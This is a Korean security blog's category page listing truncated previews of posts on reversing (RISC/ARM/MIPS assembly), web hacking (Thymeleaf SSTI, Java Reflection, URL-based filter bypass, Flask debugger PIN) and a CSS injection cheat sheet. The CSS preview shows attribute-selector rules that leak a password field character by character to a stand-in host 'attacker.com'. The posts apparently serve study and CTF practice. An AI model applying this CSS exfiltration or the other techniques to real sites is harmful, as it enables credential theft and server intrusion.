p1n9
'Hacking' 카테고리의 글 목록

Hacking

웹 , 시스템 , 리버싱 , 모바일을 다룰 예정
Hacking/Reversing

[Reversing] RISC , CISC (feat. Thumb)

RISC, CISC , Thumb HTML 삽입 미리보기할 수 없는 소스 RISC HTML 삽입 미리보기할 수 없는 소스 RISC는 명령어의 길이가 4byte 고정길이이다. 명령어의 수가 적다 arm , mips가 대표적인 RISC언어이다. ARM 모드 ARM모드는 위에서 설명한 것이다. 고정길이가 4byte이고 명령어가 적다는 것이다. 하지만 초창기에 실제로 명령어가 4byte만큼 차지하는 것이 별로 없어서 2byte만으로 encoding하는 Thumb이 생겨났다. Thumb모드 2byte의 고정길이로 encoding 하여 사용하는 방식이다. 하지만 모든 명령어를 2byte로 인코딩하는 것은 불가능하므로 ARM과 Thumb를 같이 사용되게 됐다. Thumb-2가 나오고 나서는 표준 2byte지만 4by..

Hacking/Reversing

[Reversing] 리턴 값

리턴 값 HTML 삽입 미리보기할 수 없는 소스 int f() { return 123; } x86 HTML 삽입 미리보기할 수 없는 소스 f(): mov eax, 123 ret gcc / mvsc 둘 다 동일 ARM HTML 삽입 미리보기할 수 없는 소스 f(): movs r3, #123 mov r0, r3 bx lr r0 레지스트에 return value를 저장 MIPS HTML 삽입 미리보기할 수 없는 소스 f(): li $2,123 jr $31 $2($v0)에 return value를 저장 f(): jr $31 li $2,123 li와 jr의 위치가 변경 될 수도 있는데 이는 "브랜치 지연 슬롯"으로 인해 변경된 것이다. 브랜치 지연 슬롯은 RISC의 특징이다. 점프나 분기 명령어 다음에 위치하는 ..

Hacking/Cheat Sheet

[Cheat Sheet] CSS Injection

CSS Injection HTML 삽입 미리보기할 수 없는 소스 Sequential Importing Chaining HTML 삽입 미리보기할 수 없는 소스 CSS 선택자를 이용하여 HTML 태그 내의 value값을 받아올 수 있다. input[name=password][value^=a]{ background: url('https://attacker.com/a'); } input[name=password][value^=b]{ background: url('https://attacker.com/b'); } /* ... */ input[name=password][value^=9]{ background: url('https://attacker.com/9'); } URL HTML 삽입 미리보기할 수 없는 소스 ..

Hacking/Reversing

[Reversing] 빈 함수

빈 함수 HTML 삽입 미리보기할 수 없는 소스 void f() { return; } X86 HTML 삽입 미리보기할 수 없는 소스 GCC f(): push rbp mov rbp, rsp nop pop rbp ret MVSC void f(void) PROC ; f push ebp mov ebp, esp pop ebp ret 0 void f(void) ENDP ; f RET : pop rip 명령어와 동일, 스택에 함수 복귀 주소를 저장 후 ret을 만나면 pop rip를 하면서 복귀 ARM HTML 삽입 미리보기할 수 없는 소스 f(): push {r7} add r7, sp, #0 nop mov sp, r7 ldr r7, [sp], #4 #Strack Frame bx lr BX LR(서브 루틴 복귀) :..

Hacking/Web

[Web Hacking] Thymeleaf SSTI

Thymeleaf SSTI HTML 삽입 미리보기할 수 없는 소스 Thymeleaf HTML 삽입 미리보기할 수 없는 소스 타임리프(Thymeleaf)는 Spring의 뷰 템플릿이다. 컨트롤러가 데이터를 전달하면 동적으로 화면을 구성할 수 있게 도와준다. SSTI를 알아보기 전에 Thymeleaf에 대해 알아보자 사용법 Thymeleaf를 사용할려면 xormdp th:text , th:fragment, th:block 등 과 같이 속성과 비슷하게 생긴 것이 온다. 표현식 변수 표현식 : ${} 선택 변수 표현식 : *{} 메시지 표현식 : #{} URL 표현식 : @{} 단편(Fragment) 표현식 : ~{} Thymeleaf SSTI HTML 삽입 미리보기할 수 없는 소스 Thymeleaf뿐만 아니라..

Hacking/Web

[Web Hacking] Java Reflection(feat. SSTI)

Reflection HTML 삽입 미리보기할 수 없는 소스 Reflection이란? HTML 삽입 미리보기할 수 없는 소스 Reflection은 구체적인 클래스 타입을 알지 못해도 그 클래스의 메서드, 타입, 변수들에 접근할 수 있는 java의 API이다. Java는 컴파일 언어라서 런타임 도중 클래스나 메소드를메서드를 가져오지 못하는데 Reflection을 이용하면 클래스나 메서드를 호출할 수 있다. SSTI CTF를 풀다가 나와서 정리를 해본다. 임의의 클래스 가져오기 "".getClass(); // 임의의 클래스를 가져온다. 클래스 로드 Class.forName("java.util.Scanner"); "".getClass().forName("java.util.Scanner"); 생성자 설정 Clas..

Hacking/Web

[Web Hacking] URL 구조

URL 구조 HTML 삽입 미리보기할 수 없는 소스 URL HTML 삽입 미리보기할 수 없는 소스 Scheme scheme은 Protocol을 의미한다(ftp, ssh, http, https..) file scheme도 있는데 file scheme은 소유자의 file을 찾기 위한 구조이다. file://host:port/path와 같은 형식으로 이루어져 있다. host:port를 생략하면 file:///path(local을 의미)와 같이 사용할 수 있다. User:Pass ssh를 접속할 때 @를 사용하여 사용자:[패스워드]@host 형식으로 주소를 지정한다. @앞의 부분을 username : password로 인식하고 @뒷 부분을 host로 인식한다. 이러한 특징으로 URL 필터링을 우회할 때도 사용된..

Hacking/Web

[Web Hacking] Flask Debugger PIN Exploit

Flask Debugger PIN Exploit HTML 삽입 미리보기할 수 없는 소스 Debugger PIN HTML 삽입 미리보기할 수 없는 소스 Flask에서 Debugger모드가 활성화되어 있을 때 어떠한 에러가 발생하면 에러를 보여주는 페이지가 나온다. 해당 페이지에서 콘솔을 실행시킬 수 있는데 콘솔을 실행시키려면 PIN이 필요하다. app.run(host='0.0.0.0', port=80, threaded=True, debug=True) Generate PIN PIN은 __init__.py에서 만들어지는데 machine-id , mac address 등 각각 컴퓨터마다 다른 값들을 이용해서 PIN을 만들기 때문에 예측하기는 불가능하다. __init__.py는 /usr/local/lib/pyth..